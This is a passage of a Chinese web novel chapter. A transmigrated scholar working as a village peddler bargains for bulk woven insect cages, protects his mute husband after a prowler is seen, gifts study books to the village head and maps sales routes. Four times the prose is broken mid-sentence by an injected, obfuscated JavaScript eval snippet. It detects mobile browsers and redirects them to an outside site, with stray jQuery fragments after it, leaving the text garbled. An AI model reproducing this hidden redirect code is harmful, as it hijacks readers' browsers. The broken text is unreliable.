常霄应了是，登时就走不动步了，不得不停下称油倒醋，掀开货担找这找那，应付各样讲价的。 “这根针我咋瞧着不够直，你给我换一根。” 一包着头的妇人，背上背着个孩子，问常霄买缝衣针和麻线，常霄给她一根，她又要换。 “根根都是精铁制的，不是大力气的，手都难掰动，不会不直。” 他嘴上这么说，手上仍是把纸包递去让人挑了，有些人买东西就是仔细，换下来的他看了看，实则真看不出来哪里弯，转而卖给不那么挑拣的人就是。 那妇人另选一根，当然，买线的时候同样把每一卷线都转着看了一遍，愣是从一堆一模一样的东西里，找了个自认为最周全的。 “缝衣针两文一根，麻线六文一卷，一共八文钱。” 他收了钱，妇人侧过身同人说话，背后的孩子被货担上的风筝吸引，小眼睛直直盯着，不过还不会说话，只是看着笑。 常霄用口哨吹出鸟叫声，逗得小孩子咧嘴笑。 他感慨小孩子还是这个岁数上比较好玩，等学会说话了就知道气人了。 那厢妇人跟人聊完天，重新转向常霄。 或许是见他逗孩子时极有分寸，故而态度也和善。 “原来你是来找程老三的？正巧，程家就在我家对门子，你直接跟着我走吧。” 如此跟到了程家门上，妇人喊人出来，门后人一探头，常霄看去，发现果真是那个在草市集上摆摊的汉子，没找错人。 程三也没想到常霄会为了进货找到家里来，颇是热情地请他进门。 程家院内零散隔着不少削好的木条、木片、剥了皮的柳枝、成筐的蒲草…… 还有一大一小两个孩子正举着木枝打架，一个是小子，一个是小哥儿，闹腾得哇哇直叫。 程三抢了他们的木枝，让他们安静。 “有客人来，爹要谈正事。” 半晌后一夫郎进了屋，朝着常霄点头笑笑，打过招呼，放下水碗就出去了。 外面的孩子大声叫两下，又在呵斥后瞬间安静。 常霄卸去货担，简单寒暄后开门见山，直接跟程三谈起生意。 他也不说虫儿笼好卖，单说自己卖杂货，少不得要隔几日就来趟白树村，问直接在村里找程三拿货，价钱上能不能再让一些。 “实在是我住的寨子村离草市太远，若像程大哥一般，倒还能省些脚力。” 程三岂会一上来就松口，“不瞒老弟，我这活计看着白挣，甚么草啊木啊皆不花钱，上山打、地里摘就是，实则做一个要花上许久，这一家子几张嘴，全靠我养活，一个少一文，十个少十文，一升粮食就出去了，实在难办。” 常霄深知这件事不会这么简单，他一次拿上三五个，又不是三五十个，程三挑去马桥一样能卖出。 东西新颖，不怕没销路。 等等，要真是三五十个…… 他当即道：“敢问程大哥，若一次拿上五十个虫儿笼，一个能让几文钱？” “五，五十个？” 程三瞪大眼睛，“要这么多，你要卖到何时去！” 这东西的确有些巧思在，可也就是给外行看的，内行人瞅一眼就知怎么做。 他报价八文一个，每次说出口就心颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233922|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，怕人家嫌他卖得贵。 实际上也有不少人这么说，道是草编的玩意儿不值钱。 可他夫郎让他咬死八文，不能再低，不然就太轻贱这门手艺。 常霄进了货去卖，肯定还要加钱，一文太少，但凡加两文就奔十文去了，他简直想不到乡下哪来那么多冤大头。 “自是不单在村间卖，另有别的销路。” 常霄也没藏着掖着。 “五十个……这……” 程三是个朴实村汉，心下没那么多弯弯绕绕，第一反应其实不是打听常霄往何处销，而是担心自己做不出。 “真要是五十个，是隔几日来取一次货，还是一遭取了？” 常霄算算现下的日子，距离仲秋尚余二十几天，他斟酌道：“十五日后来取，不知行不行。” 程三犹豫片刻，“除了虫儿笼，别的可要？” 他还擅做六角和八角的风车，以及几样小灯笼。 常霄那日进货时也看过灯笼，只是没要。 他想了想道：“价钱好的话，也能要些，但比不得虫儿笼那么多。” 头一回做这么大的生意，程三站起来，说要去和家里人商量商量。 常霄猜他要去讨夫郎的主意，表示自己不急，安然留在屋内，见程三去了后院，并没停留太久，不多时便回来了。 “五十个虫儿笼，一个六文，其余各样，能拿至少十个的，一样让一文，二十个的，让两文。” 这是很实在的价钱了，八文钱的东西，让出两文不算少，常霄没有再压价。 要是他一下拿上百来个，倒是能再往下谈一谈。 “不知程大哥能否做别的花样，除了蜻蜓，蚂蚱成不成？或是蝴蝶，鸟儿？” 他也不懂这些，试着问一问。 五十个虫儿笼，如果都是同一种，多少有些无趣。 程三听得出生意能成，心头热切，这可是一下好几百个钱！ 他搓搓手道：“蚂蚱能做，但不是翅膀动，是腿动，蝴蝶不成，草编的形状不好看，鸟儿……其实也成，就是更费料费工。” 言下之意，就不是这个价了。 常霄点头。 “那就蜻蜓、蚂蚱各一半，插着旗子的六角风车十个，手提的小灯笼我记着也有两样，一样方的，一样圆的，也一样要十个。” 除了虫儿笼，别的在县城多见，带着去无非是显得东西多，热闹些。 他忍不住搓两下手指，自己准备好的销路乃是下个月县城云光寺的仲秋庙会，要是首战得捷，以后他便平日在村里卖货，逢了特殊日子，就去县城赶场子去！ 虫儿笼五十个，算三百文，风车十个是四十文，灯笼二十个，因外面糊纸，要做的好看，消耗的纸张比风车多得多，是最贵的，原本卖十文，现在一个八文，总计是一百六十文。 “正好五百文，按着规矩，这是一成定钱。” 常霄数出五十文放到一旁。 他如此痛快，程三很快答应，日后常霄进村拿货，一样按这个价钱来。 于是常霄再次数出五十个钱，拿走虫儿笼和风车各五只。 这么一来，手里的现钱又快空了，还有四百多个钱的尾款等着付。 但他半点不急，上辈子的经验已经告诉过他，做生意一事定要沉得住气。 12.距离 整整一日，曾如意都在屋里裁布制衣，争取能让常霄早一日穿上。 晚些时候，又记挂着时辰，好赶在常霄回家前做好晚食。 心思分出去，人就容易走神。 针尖不小心扎到指头，冒出一滴小小的血珠。 他皱起眉，送到嘴边轻轻一吮。 擅针线的人被针扎手，就像擅灶的人切菜切了指头。 曾如意不解，为何常霄不在家，自己就止不住地心烦意乱。 正巧傍晚时分天也见暗，他们住的这间屋窗子潦草，透不进多少光，继续缝衣有些费眼睛，也容易出错。 他信手把搁在膝上的布料叠好放在一边，预备出去淘米洗菜。 早两个时辰，过午不就的时候，村里磨豆腐的刘家嫂子送来一方豆腐，道是常霄买的，已经结过账。 夏日里豆腐过不了夜，曾如意一通比划，好歹让刘家嫂子明白他的意思，跟着对方回家，花一文钱买了一把田里的落葵菜。 他起意治个落葵豆腐汤，清清爽爽地喝一碗，最是解暑的。 虽说成日里桌上不见荤腥，但真算起来，他们作为孙辈，本也在常霄祖父的孝期里，按理说该茹素一年，只是许多人并不真的遵守。 就像是孝期另一桩规矩——夫妻、夫夫不得同房，实际大门一关，只要不弄大肚子，床笫之事谁又知晓？ 想到这里曾如意的脸有点热，他舀水洗去手心里的一点汗意，借凉水残留的温度拍了拍脸颊。 何必想这么多，两人同床多日，对方不曾有过一次逾矩之举。 曾如意也不知他是作为孝子贤孙，决意好好遵守规矩，还是对自己压根没有兴趣，从不打算将夫夫之名坐实。 手指抚过头顶木簪，此物的存在使常霄的心意更加捉摸不透，曾如意又往脸上拍了遍凉水，强迫自己不再胡思乱想。 他抹一把面上水珠，眯着眼打算去找条布巾擦脸，正在这时，却好似看见个人影从柴扉门外倏地闪过去了，脑袋比矮墙还要高，竟像是个男子！ 他不禁大骇，紧张之际瞥见了靠墙放的几样农具，咽一下口水，一把抄起其中的镰刀，两手握住木柄，直直地举在胸前。 如此在院内站了好一段时间，再未听见动静，后背却早教汗湿了。 实也不是他小题大做，想想要是正经人，岂会在被发现时惊慌而逃。 要是他那会儿没有正好出门到院里，没有正好洗完脸抬头，那人会不会已经趁自己在屋里埋头做针线时，悄无声息地摸进来？ 曾如意越想越惊，心里头剧烈打着鼓，连松了手劲后胳膊的酸痛都不曾察觉。 他进灶屋时犹豫一瞬，干脆一并将镰刀拿了进去，放在手边。 歹人也是肉体凡胎，不会不怕刀的。 瞧着镰刀，摸着刀柄，平复下心情后他着手忙活晚食，手上动作不停，按部就班将落葵菜洗干净，掐根择叶，渐渐没那么怕了。 落葵菜吃起来口感黏滑，近年来吃的人愈发少了，更多是采果子制胭脂亦或染布，也得是有固定供给的作坊才成，各家自种的根本无人来收。 刘家种这些，据刘大媳妇讲也是不想浪费娘家给的一把种子，实际种出来挑去草市，卖也卖不上价，应季时地里别的菜尚且赶不及吃，哪里轮得上这个，故而常常是一半都剁碎了喂鸡了。 非要说的话，曾如意也不多爱吃，只是现下条件有限，没法子挑拣。 不过刘家点的豆腐确是不错，嫩而不散。 他把豆腐用勺子分成块状，放在碗里，又将碗搁进阴凉处的凉水中隔水镇着，只待常霄回来再下锅。 许久过去，院外再不见任何不寻常之处。 曾如意盯着近在咫尺的镰刀，开始疑心自己是否看错了。 …… 却说另一边。 常霄出门一整日，赶在天黑前进了寨子村的地界，没两步就被人叫停了步子。 这家缺油，那家少盐，他庆幸多亏又去草市补了遭货，不然只怕回了村要什么没什么。 先后卖去几样杂货，又跟这几家人讲，回头若是想要什么可去碾场上跟家里的小哥儿说，待他回来就送到门上。 众人听了都觉方便得很，再不必成日盼着货郎来，想要什么走两步就能买到。 他走后，方才在他这处买了东西的人一时未散，少不得议论一二。 “那常家小郎还当真做起货郎了，这可不是好差事，整日要走多少路，不比下地轻省多少嘞。” “常家瘦死的骆驼比马大，没瞧着还有本钱做这营生，进这一担子货怕也不少银钱！再多疲累，也强过土里刨食，看天吃饭。” “可惜已是婚配了，不然我瞧他好样貌，还识文断字……” “人家找的夫郎可是城里哥儿，哪里瞧得上你家的？” “纵是城里哥儿又如何，还不是个哑巴……” “我看着也没多好，没听里正家媳妇说，来时半个包袱都无，穷得连口肉都吃不上，两人加起来凑不出三身衣裳，这般人家，我可不舍得孩子嫁嘞……” 凑在一起絮絮说了半晌，越说越觉得还是自家日子更强些，常家曾经再是风光又如何。 心里熨帖起来，瘾过足了，便各自回家做晚食。 常霄半点不在乎旁人说何，只在乎得了几个钱的利。 他捏着进村后卖来的一把铜板，边走边数，数过一遍，碾场就在眼前了。 …… “回来迟了，从道口村出来东西卖得七七八八，我便想趁天早，再去马桥进货，不料没寻着卖草编玩意儿的那人，一番打听，又去他住的乡里寻。” 常霄进门第一件事就是钻进灶房找水喝，缓过一口气后跟曾如意说起今日见闻。 小哥儿站在一旁，只觉听着都累，不敢想一天里常霄走了多少路。 从后面看，能看到常霄整件衣裳的背面都给汗湿了，留下深色的印子，布鞋也灰扑扑的，早已瞧不出原本颜色。 过去读书时候，再挑灯夜读，也是风淋不着水湿不到的，哪里像现在，嘴都干得起了皮，走路一瘸一拐，定是累狠了。 常霄却不以辛劳为苦，挣钱嘛，哪有容易的，容易的叫做捡钱。 不过曾如意不曾掩饰的担忧目光，还是教他有几分受用。 只是被看得久了，不免要有几分难为情。 他换个话题。 “对了，刘大哥可把豆腐送来了？我今日运道好，出村前正遇见他出去卖豆腐，有他带路，省了不少事。” 曾如意倒出水碗里的几滴残水，用手指蘸着写字作答。 得了肯定的答复，常霄举起湿巾子擦脸，热水浸过的布料尚还留有余温，盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235831|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在脸上甭提多舒服了。 然而过后看到巾子上的印子，他尴尬道：“我这出去一日，脏得可以。” 农村土路当真是尘土飞扬的，一阵风刮来就能让他吃一嘴土。 说罢不等曾如意做出什么反应，急急忙忙出门去涮布巾。 路过门口时不小心踢到什么东西，“哐当”声后，才发觉是原本放在院子一角的镰刀。 他弯腰捡起，疑惑道：“镰刀怎么在屋里，你今日用了？” 常霄两辈子没干过农活，但也知道镰刀是割草割麦用的，只有下地时用得上，就算曾如意在家砍柴，那也是用柴刀。 曾如意抿了抿唇，不确定要不要把先前的事说出口。 无法用几个手势或是简单两句话说明的事，他早已习惯不去解释，就算解释了也没人会听，只会嫌他是个耽误时间的哑巴。 这点在与常霄来到寨子村后有了改变，即使是他一笔一划地写上几十个字，常霄也会仔细看完，做出回应。 曾如意没有第一时间比划或是摇头，这令常霄当即打起精神观察，面前人脸上的犹豫不作假，让他眉头微蹙。 “我不在家的时候，可是出什么事了？” 曾如意见常霄的鬓发还因为汗湿而黏在脸侧，他抬手示意常霄先把布巾交给自己，常霄看了看他，选择继续往屋外走。 “我出去洗脸，你在地上写字。” 常霄拿着巾子去水桶处涮了几把，又捏碎皂角搓起沫子，狠狠洗了洗手脸和脖子，风一吹，一下子清爽许多。 曾如意始终蹲在他身边，帮他递完皂角便专心用树枝写字。 常霄把用完的布巾随手挂在脖子上，低头看地上的痕迹，院子里的沙地太浅，字一旦写多了，辨认起来就需要时间。 但看完之后，他面色立刻凝重起来。 曾如意望着他的神色变幻，在最后多写一句： 【可能是看错了】 他不想常霄白日出门还要记挂着家里的事。 “这不是看没看错的事。” 常霄咬着翘起的嘴皮，眉头拧成一个疙瘩。 “光天化日的，你再眼花，也不可能错看一个大活人。如果那人只是路过，或是来寻你我有事，为何不大大方方地说明，反而在你发现后立刻就跑了？” 曾如意轻轻呼出一口气。 常霄不仅没有否定自己，还和自己想得一样，他因此镇定不少。 正沉默时，常霄忽然说一句：“不行，我要去院外看看。” 他想看一下院外的地上会不会有脚印，或是攀着土墙往里爬的痕迹，只要有证据，就能借此去找里正。 怎知今天走了一天，腿脚胀痛，刚刚又蹲了半晌，再站起来时双脚直接麻了，实在是酸爽难言。 过电一般的痛麻猝然来袭，令他根本站不稳，当场左脚绊右脚，直接朝一侧倒去。 曾如意立刻像田里被拔的萝卜一样站起，用半边身子撑住了倒过来的常霄。 肩膀相撞，是他们成亲以来，第一次在两人都清醒时离得这么近。 眼看因为体格差异，曾如意因这一撞而随惯性后仰，常霄单腿后撤稳住自己，迅速伸手揽过小哥儿的肩膀，用力拽回。 这次不再仅仅是肩膀相撞那么简单，若从旁边的角度看来，大抵像是曾如意撞进了常霄的怀里。 13.人情 周遭的空气一时安静，曾如意不曾抬头，常霄则看着近在咫尺的小哥儿的头顶，发现了自己所赠的那支木簪正好端端地簪在发间。 温润的木质与柔软的发丝交相映衬，让他想到一句俗语：头发软的人心也软。 怀中的身躯散发着暖意，但却太过瘦弱单薄。 隔着两层衣裳，常霄能摸到曾如意后背凸起的骨头。 按理说此时他该松手了，不知为何，却任由自己定在原地。 来自头顶的注视似有实质，曾如意大气不敢出，偏偏这时一缕风吹过，扰得鼻子有点痒，他控制不住，抬手捂住口鼻打了个巨大的喷嚏。 “阿嚏！” 曾如意：…… 他把头垂得更低，悄悄吸了下鼻子。 常霄忍住笑意，他见怀中人窘得耳朵都通红了，本就面皮薄，再这么下去还不知要怎样。 又想到自己从外面回来，一身尘土加汗味，纵是有什么心思，这会儿也全然消散了。 “我去把外衣换下来，早点洗了，明天还要穿。” 他找了个合适的理由，好让这场景不显得太过奇怪。 曾如意也带着几分慌乱地整了整袖子，表示自己要去灶屋做饭。 他胸口微微起伏，又被抬手按住，仿佛这样便可以隔着皮肉抑住心跳。 两人就此分开，原地只余地上被踩乱的字迹，以及滴落的点点水痕。 —— 月落日升，又是新的一天。 常霄和曾如意如常起床洗漱，如同昨日傍晚的小插曲从未发生。 而常霄特地晚走了小半个时辰，当村里各家飘起炊烟，算着里正家应当吃完早食时，他拿起两本用布包好的书，裹了一包盐，外加两只虫儿笼，带着曾如意上门拜访。 “来就来，带什么东西，这我不能收。” 里正儿孙满堂，早就不需亲自下地劳作，常霄去时他正带着两个孙儿在院子里逗小狗。 见常霄带了礼来，一个劲摆手。 “你进点货做买卖不容易，一天下来才纯挣几个钱，这些东西给我，昨天你就算是白忙活了。要说谢，之前不是已经谢过了。” “不是一码事。” 常霄摆弄两下虫儿笼，很快把两个刚赶上大腿高的小娃娃吸引过来，一个小子，一个哥儿，都养得白净胖乎。 “拿去玩吧。” 上次来时他就注意到，里正家有两个年纪尚小的孙儿，另通过刘大所言，得知里正的长孙想走科举一路，一直在外村的村塾里念书。 见里正一脸不赞成，他笑道：“小玩意罢了，给孩子的。” 书还揣在怀里，暂且没拿出来。 另一边，曾如意也把盐包塞到出来待客的里正娘子手里。 里正左看右看，请他俩屋里坐。 “一大早来，可是遇见了什么难处？咱们一个村子里的人，往上数两辈都是亲戚，我姓耿，你要不嫌弃，就喊我一声叔，我认你作个侄，来这里只当在自家，有什么就说。” “那我就厚颜改口了。” 常霄笑道：“耿叔。” 他又看向里正娘子，后者爽快道：“我姓曲。” “曲婶。” “欸！我就爱听这个！” 里正娘子率先应声，看看曾如意道：“你们坐着，我去喊老四夫郎来陪客。” 曾如意不能说话，只好一直微笑，目光跟着眼前人的动作走，方才给他端茶时也是马上站起来接，生怕人家觉得他没礼貌。 曲大娘子走后，耿里正看着曾如意道：“老四夫郎和你岁数差不多，性子也活泼，以后你在家若是有空闲，就来这处寻他，你俩多走动。” 曾如意点点头。 常霄听罢，顺势接过话茬。 “不瞒耿叔，今日我带着如意来，正是为了此事。” 昨日他换完衣裳，仍旧坚持去了院外查看，但院外一圈杂草丛生，留不下脚印，土墙四周也没有攀爬痕迹。 想来也是因为那边茅草屋很少住人，土墙修得矮，来个高大的汉子，压根不需要爬上墙头就能看清内里情况。 意识到这点，他更加无法放松。 想了一夜，想出一个解决办法，早上和曾如意简单商量后就来办了。 前因后果讲罢，耿里正眉头已是皱得能夹苍蝇。 试问哪个村子里没有几颗坏汤的老鼠屎，他脑海里登时就蹦出至少两个人来，都是浪荡的混账东西，不是头一回惹事。 虑及小两口没抓人现行，他也没直接提人名，免得没麻烦也惹出麻烦。 常霄见里正目光闪烁，就知对方多半是心里有数，曾如意没吃亏是万幸，真等事情发生再补救可就晚了。 这年头莫说女子哥儿真的被汉子欺负，就是没真的成什么事，单纯教人瞧见汉子从孤身守家的哥儿院里出来，就足够被唾沫星子淹死了。 他做货郎注定日复一日早出晚归，曾如意既有可能被人盯上，在抓到人之前不适合单独在家。 整个寨子村，没有地方比里正家更安全。 而现今里正一家念在他这个书生郎的出身上，还是肯给几分薄面的。 “我在外奔波，实是挂心，思来想去也没想出什么好办法，这才来向耿叔讨个主意。” 他叹口气，又像突然想起什么似的，从前襟里掏出书本，打开包裹递上。 “光说这个，险些倒忘了另一桩正事，耿叔，这是我原先在县城学塾求学时用过的两册书，均是夫子要求学生们必读的，还将历年州试考过的内容标注出来，要我们反复记诵。” 耿里正一听，连接过来的动作与呼吸都放轻了。 在村户人家眼里，书可是顶顶金贵的东西！ 常霄犹在继续道： “昨天在家收拾东西，恰好翻出来，遂和如意商量着，字纸金贵，白白放在那里，时间久了恐遭虫蛀，不妨转赠用得上的人。听闻耿家小郎君天资聪颖，一心向学，已是到了能赴州试的年岁了，不知可否用得上这两册书？” 那可太用得上了！ 耿里正暗暗抽一口气。 县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238811|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城里的学塾，那可是乡下人不敢高攀的地界，就拿村塾来说，做夫子的撑死是个秀才，县城里的学塾最低也是举人，学识与见识相差何止一二！ 他小心捏住书页翻开一角，果见一行行字列间还有若干蝇头小字，表情立时肃然。 耿家在寨子村里正的位子上坐了两代了，只要在他这辈不出岔子，下一任里正多半也是他儿子。 他自知野心不必昔日的常老爷子小，既供得起子孙念书，试问谁不盼着草窝里钻出个金凤凰，改换门庭。 奈何农户到底是农户，想进县城学塾，要么是地主富农，砸得起银钱，要么是在州试榜上有名，再进城拜夫子山头，不然无人瞧得起一个小村落出身的农家子，便是里正亲孙也没用。 现在不费吹灰之力，就得了城中夫子指点过的书册笔记，何其珍贵。 他都想象到那爱书成痴的孙儿会多么欢喜。 耿里正再开口时，语气更加诚恳。 “世侄，莫说农家学子，便是你，得一册书想来也是不易，且你也别说那些丧气话，将来定还有用得上的时候呐！这样，我替我那孙儿做主，待他将两册书誊抄罢，再将原本还你，如此两不耽搁。” 又言他那孙儿名耿元捷，“他在大栅村的村塾习学，晚些时候家里人赶车去接他回家，到时我定将书册转交，再让他登门致谢。” “只是两册书本罢了，怎担得起小郎君登门致谢。” 有名师评点的参考书果然分量十足，常霄客气几句，恰好这时曲大娘子领着最小的儿夫郎进门了，两边介绍罢，只见耿里正捋两下短须，不必常霄开口，主动安排。 “老四夫郎，正好你和意哥儿两个的汉子白日里都少在家，你又是个识文断字的，不妨往后你俩多走动，做个伴，吃吃茶，做做针线鞋脚，权当一家人处。” 常霄听里正特地点名耿家四郎的夫郎识字，心下遂定，这样也不用担心两个哥儿凑在一起无法交谈。 年轻夫郎性子大方，闻言应下后，笑着看向曾如意两人相对行礼，礼罢，他拉过曾如意的手。 “我姓康，单名一个誉字，听婆母说，你比我小些？那便是弟夫郎了。” 曾如意笑容腼腆，使口型唤了声“嫂嫂”。 接着康誉就寻了个由头，把人给领去后院了。 有常霄在，又是公爹亲自招待的，他一个做儿夫郎的不好留太久。 曾如意一步三回头，还被康誉打趣，“我又不是拍花子的，能把你拐了不成！” 见人走了，常霄的目光还落在屋外，耿里正清清嗓子，把人唤回神，安抚道：“你不必担心，我儿孙多，这院子也修得广，各家院子都隔着墙，互不打扰，老四夫郎领曾哥儿回院子，便不必与其他人应酬。” 常霄起身道谢。 “多谢耿叔周全，此后侄儿出门经营，心下便可安定了。” 耿里正亲自送他出门，若说之前态度已是颇为客气，现下更是亲切到堪比族中亲侄。 这一幕落在三两村人眼中，一时又成新的谈资。 14.算账 由于去马桥进货一次还要花费半天光景，常霄用了五天时间才走完附近村落。 根据村落之间的距离和自己的步速，重新规划了一遍卖货路线，用炭条仔细绘在粗糙的麻纸上。 自从去草市打听过纸张价钱后，他就再也舍不得用当初盛夫子所赠的纸，那一叠应当是青白纸，一张竟能合到六七文钱，一叠足有百张，还被不识货的他取了一半缝账本，如今只能安慰自己，好纸加好墨可以保存更久，否则着实可惜。 再便宜一点的是楮皮纸，取的是处处可见的楮树皮，一张大概两个钱，也就是说一张纸的价钱几乎和一枚鸡蛋等同。 而他现今只用得惯粗笨的炭笔，字又写得斗大无比，哪里舍得写在楮皮纸上，就算正反面都用上，一张也写不了几个字。 于是摸了一圈，到头来只买了一刀粗麻纸，四面毛边不说，还能清楚看到麻纤维的纹路，一刀仅二十五张，要价五文钱。 怪不得在本朝，即使是风雅文人，如厕的时候也是用厕筹，说是“敬惜字纸”，要常霄来讲，这都是次要的，关键还是能用得起的人太少。 就连常霄也被逼无奈，“入乡随俗”用起干草。 他已经想好，等以后赚了钱，就买好点的纸，偷偷藏在家里当厕纸。 果然穿越古代，最难接受的就是生活质量断崖式下跌，他都快忘了玩手机是什么滋味了。 …… 调整着炭条尖端的角度，伏案写完最后一个村子的名字，常霄看了看被炭条染黑的手，不甚在意地搓了搓，小心将纸张铺平查看，免得蹭上黑灰。 纸上以寨子村为中心，周遭用圆点标记出十二个或大或小的村庄，之间以线相连，分成了三条路线—— 路线一：红石村、小梨沟、二王村、道口村 路线二：大栅村、四阳店、白树村、水井村 路线三：许家店、绿湾村、赵郑庄、柳树沟 当中以三十户人家为限，又做了不同的标记，区分村庄的规模大小。 此外每到一个村子，他就打听附近有没有田庄，及其大致的方向，如此探明白六个庄子，主家分别姓徐、董、常、余、罗、窦。 田庄占地广，除了田地，往往还有山头，因此和村子之间都有一定距离，常霄用三角标记，也全都画在了地图上。 炭条即使削过也有点粗，比不上铅笔，因炭条质地，而石磨更坚硬。 粗炭笔配上毫无美感可言的字，这张地图简直称得上惨不忍睹，看起来像是刚开蒙的幼童所制，和习学多年的书生郎半点没关系。 但是好看是次要的，能用就行，常霄满意地把纸推到一旁，看向在一边算账的曾如意。 “算完了么？要不要我帮你？” 曾如意正在整理一把自制的简易算筹，长短一致后用麻绳捆紧，随后把账本转了个方向，摆到常霄面前。 常霄垂眸细看，发现最新一笔账已经写上去了，他顺手重算一遍，确定数额没错，拉过曾如意一起看账。 “盈利和我预料中的差不多。” 开张五日，十二个村落，他收入一贯余三百二十文，不计人工花销，毛利三成，将近四百文。 不过手上的现钱是流动的，五天里他去马桥进货三次，每次的花费都在三百文到四百文之间，前一天下午花出去，第二天出门再赚回来。 从第二天开始，每天回家，他会从钱袋里抓五十个钱给曾如意作为家用，曾如意除了去找村人买菜，又经里正娘子介绍，寻村里一擅编草鞋的老丈，花二十五文给常霄买下两双草鞋，五天下来，给他的二百文也只花了三十七文而已。 常霄合上账本，转而拎出装钱的麻布兜。 他今天没有去进货，手里有白日里卖的三百五十文，加上曾如意手里的，以及先前家里剩下的二百多文，两人手里有七百多文。 常霄把明天拿去进货的钱拨去一边，其余的合在一起交给曾如意。 小哥儿提着麻绳快速数了一遍，给常霄比划。 【三百八十四个钱】 “没白走五天，好歹手里能支用的现钱多了一些，上次算的时候还只有二百出头。” 这五天里他的一双脚磨出好几个泡，每次都是晚上回来后火烧针尖，挑破后撒点药，第二天起床浑身酸疼，胳膊腿仿佛都是现捡现拼的，饶是如此仍然咬牙继续走。 好在之前买的药粉是好用的，基本前一晚上，睡一觉就能结痂，走到今天，已经不觉得多疼，小腿也硬邦邦的。 唯一的遗憾，就是曾如意一直惦记的刺绣活计没有着落，常霄未曾在马桥草市上寻得。 曾如意还特地向耿家夫郎誉哥儿打听过，得知从没听说过有这种活计可接，誉哥儿与妯娌做针线刺绣，也只是给家里人裁衣制物，没有往外卖过。 康誉当时还小声跟曾如意讲：“就算真有这等活计，也不好让公爹知道，他定要说老耿家又不是穷得揭不开锅，吃不起饭了，哪里需要家里的女子哥儿卖手艺度日，传出去不得被人把嚼舌头嚼碎咯。” 不过曾如意看得出，康誉是心动的，这差不多是仅有的，能让居家不出门的媳妇夫郎攒□□己钱的路子。 眼下提起此事，他便把康誉所言转述给常霄。 【誉嫂嫂说，如果我能寻到路子，他也想接活】 常霄并不意外，有手艺的话，谁和钱过不去。 “他不怕耿叔不答应？” 在这种传统大家庭里，老老少少都要听一家之主的安排，没有二话。 曾如意眨眨眼，继续写：【他应当有办法】 既然对方这么说，常霄就不管了，真要找到路子，对方肯定也不仅仅需要一个绣工。 要是能多介绍几个可靠的过去…… 他想到这行当直到现代仍存，中间人接了活计再往下派，可以从中抽取人头费作报酬。 既然连里正家的儿夫郎都乐意，其余人家的就更多。 即使对手艺有要求，只要人足够多，不愁找不出。 常霄精神一振，屈指敲了敲另一边的掌心。 “马桥的草市集已被我走遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248123|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，确实没有，多半要等仲秋时去县城看看。” 去了几回，常霄已是摸透了马桥草市。 相对于村间，繁华是无疑的，但位置在那里摆着，到底不见多少高档货，除了茶叶、布帛、瓷器等经水路运输至此，偶尔会有部分瑕疵品流入草市之外，其余的多是些中低档商品。 至于曾如意所说的赊料刺绣，大多是绣制花片，绣坊在坊内绣工忙不过来时，会把一部分绣活外包，赊出绣线绢布等，在回收花片时支付报酬，而这些绣片的去向大多是成衣铺。 绣片只会点缀在绫罗绸缎制成的华服之上，能穿得起这类衣裳的人非富即贵，因此相关行当的铺子压根不会开在马桥。 常霄算算日子，掏出用麻纸做的巴掌大小本子，问曾如意以前补贴家用时，绣品都卖往了何处，又曾在谁家接活，并边听边记，如此得到三个成衣铺、一间绣坊、一间绒线铺的名字。 “若有人再打听，你只说不知道，但可以记下都有哪些人感兴趣，寻到门路后，未尝不能做个人情。” 况且他不会白做。 曾如意面露了然，推测常霄心下有盘算了。 生意人都脑子灵活，不然吃不了这碗饭。 他和康誉交往这几日，确实认识了一些来耿家串门的村人。 对方看在他在耿家地盘的面子上，绝不会给他冷脸，不说私底下如何，至少面上个顶个和和气气。 常霄又用炭笔补上几个字，顺势问道：“今日你在里正家，都做什么了？” 说完时刚好也写完了。 他看向曾如意，笑容清浅，后者起身去拿自己的针线筐，从里面取出一样东西。 常霄拿到手里翻着看了看，猜测道：“这是个鞋底？” 不过尺寸很小，一看就是小孩子穿的。 “是给耿四郎的孩子做的？” 